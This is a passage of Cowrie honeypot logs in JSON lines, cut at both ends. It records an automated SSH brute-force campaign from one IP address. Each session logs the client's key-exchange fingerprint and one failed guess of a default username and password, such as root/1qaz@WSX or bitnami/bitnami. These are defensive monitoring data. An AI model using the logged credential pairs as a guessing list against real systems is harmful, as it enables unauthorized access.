01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:21.099533Z","src_ip":"141.11.88.14","session":"4b546962eee1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:22.321205Z","src_ip":"141.11.88.14","session":"4b546962eee1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:23.618040Z","src_ip":"141.11.88.14","session":"4b546962eee1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":56106,"dst_ip":"10.17.0.5","dst_port":22,"session":"34befcde53e9","protocol":"ssh","message":"New connection: 141.11.88.14:56106 (10.17.0.5:22) [session: 34befcde53e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:27.812934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:27.871562Z","src_ip":"141.11.88.14","session":"34befcde53e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:27.968842Z","src_ip":"141.11.88.14","session":"34befcde53e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":35414,"dst_ip":"159.203.135.109","dst_port":23,"session":"8245366d26e3","protocol":"telnet","message":"New connection: 172.81.62.90:35414 (159.203.135.109:23) [session: 8245366d26e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:28.113763Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":35424,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce8e4857a657","protocol":"telnet","message":"New connection: 172.81.62.90:35424 (159.203.135.109:23) [session: ce8e4857a657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:28.627362Z"}
{"eventid":"cowrie.login.failed","username":"ethan","password":"ethan","message":"login attempt [ethan/ethan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:28.769681Z","src_ip":"141.11.88.14","session":"34befcde53e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:30.054493Z","src_ip":"141.11.88.14","session":"34befcde53e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":56136,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e68349d9ede","protocol":"ssh","message":"New connection: 141.11.88.14:56136 (10.17.0.5:22) [session: 8e68349d9ede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:32.805888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:32.841835Z","src_ip":"141.11.88.14","session":"8e68349d9ede","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:32.922611Z","src_ip":"141.11.88.14","session":"8e68349d9ede","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:33.372456Z","src_ip":"141.11.88.14","session":"8e68349d9ede","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:34.462386Z","src_ip":"141.11.88.14","session":"8e68349d9ede","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":28664,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1851d729621","protocol":"ssh","message":"New connection: 141.11.88.14:28664 (10.17.0.5:22) [session: e1851d729621]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:38.369366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:38.394979Z","src_ip":"141.11.88.14","session":"e1851d729621","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:38.475307Z","src_ip":"141.11.88.14","session":"e1851d729621","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitnami","password":"bitnami","message":"login attempt [bitnami/bitnami] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:38.860253Z","src_ip":"141.11.88.14","session":"e1851d729621","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:40.046949Z","src_ip":"141.11.88.14","session":"e1851d729621","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":28682,"dst_ip":"10.17.0.5","dst_port":22,"session":"108891606276","protocol":"ssh","message":"New connection: 141.11.88.14:28682 (10.17.0.5:22) [session: 108891606276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:43.825924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:44.052403Z","src_ip":"141.11.88.14","session":"108891606276","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:44.055556Z","src_ip":"141.11.88.14","session":"108891606276","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:45.129486Z","src_ip":"141.11.88.14","session":"108891606276","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:46.422275Z","src_ip":"141.11.88.14","session":"108891606276","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":44290,"dst_ip":"10.17.0.5","dst_port":22,"session":"699b60fa9415","protocol":"ssh","message":"New connection: 141.11.88.14:44290 (10.17.0.5:22) [session: 699b60fa9415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:49.484568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:49.686660Z","src_ip":"141.11.88.14","session":"699b60fa9415","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:49.690480Z","src_ip":"141.11.88.14","session":"699b60fa9415","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3server","password":"ts3server","message":"login attempt [ts3server/ts3server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:51.333933Z","src_ip":"141.11.88.14","session":"699b60fa9415","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:52.814684Z","src_ip":"141.11.88.14","session":"699b60fa9415","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":44334,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b7fde0caa50","protocol":"ssh","message":"New connection: 141.11.88.14:44334 (10.17.0.5:22) [session: 3b7fde0caa50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:54.445934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:54.514234Z","src_ip":"141.11.88.14","session":"3b7fde0caa50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:54.627524Z","src_ip":"141.11.88.14","session":"3b7fde0caa50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stef","password":"stef","message":"login attempt [stef/stef] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:55.590098Z","src_ip":"141.11.88.14","session":"3b7fde0caa50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:59:56.905953Z","src_ip":"141.11.88.14","session":"3b7fde0caa50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":62192,"dst_ip":"10.17.0.5","dst_port":22,"session":"0eec50396998","protocol":"ssh","message":"New connection: 141.11.88.14:62192 (10.17.0.5:22) [session: 0eec50396998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:00.254295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:00.346746Z","src_ip":"141.11.88.14","session":"0eec50396998","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:00.350153Z","src_ip":"141.11.88.14","session":"0eec50396998","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vicidial","message":"login attempt [root/vicidial] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:01.042050Z","src_ip":"141.11.88.14","session":"0eec50396998","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:02.136073Z","src_ip":"141.11.88.14","session":"0eec50396998","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.49876260757446,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:05.126017Z","src_ip":"172.81.62.90","session":"ce8e4857a657","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":62234,"dst_ip":"10.17.0.5","dst_port":22,"session":"30d4a79f082e","protocol":"ssh","message":"New connection: 141.11.88.14:62234 (10.17.0.5:22) [session: 30d4a79f082e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:07.427267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:07.452388Z","src_ip":"141.11.88.14","session":"30d4a79f082e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.393404483795166,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:07.507043Z","src_ip":"172.81.62.90","session":"8245366d26e3","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa